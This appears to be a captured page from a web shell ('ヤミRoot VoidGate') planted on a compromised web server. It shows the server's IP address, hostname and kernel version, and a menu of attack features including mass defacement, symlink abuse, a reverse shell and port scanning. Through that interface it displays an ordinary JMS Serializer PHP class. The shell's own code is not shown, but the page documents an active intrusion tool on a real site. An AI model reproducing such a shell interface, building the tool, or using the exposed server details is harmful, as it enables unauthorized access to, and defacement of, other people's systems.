ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
jms
/
serializer
/
src
/
Ordering
/
Viewing: CustomPropertyOrderingStrategy.php
<?php declare(strict_types=1); namespace JMS\Serializer\Ordering; final class CustomPropertyOrderingStrategy implements PropertyOrderingInterface { /** @var int[] property => weight */ private $ordering; /** * @param int[] $ordering property => weight */ public function __construct(array $ordering) { $this->ordering = $ordering; } /** * {@inheritdoc} */ public function order(array $properties): array { $currentSorting = $properties ? array_combine(array_keys($properties), range(1, \count($properties))) : []; uksort($properties, function ($a, $b) use ($currentSorting) { $existsA = isset($this->ordering[$a]); $existsB = isset($this->ordering[$b]); if (!$existsA && !$existsB) { return $currentSorting[$a] - $currentSorting[$b]; } if (!$existsA) { return 1; } if (!$existsB) { return -1; } return $this->ordering[$a] < $this->ordering[$b] ? -1 : 1; }); return $properties; } }
Coded With 💗 by
0x6ick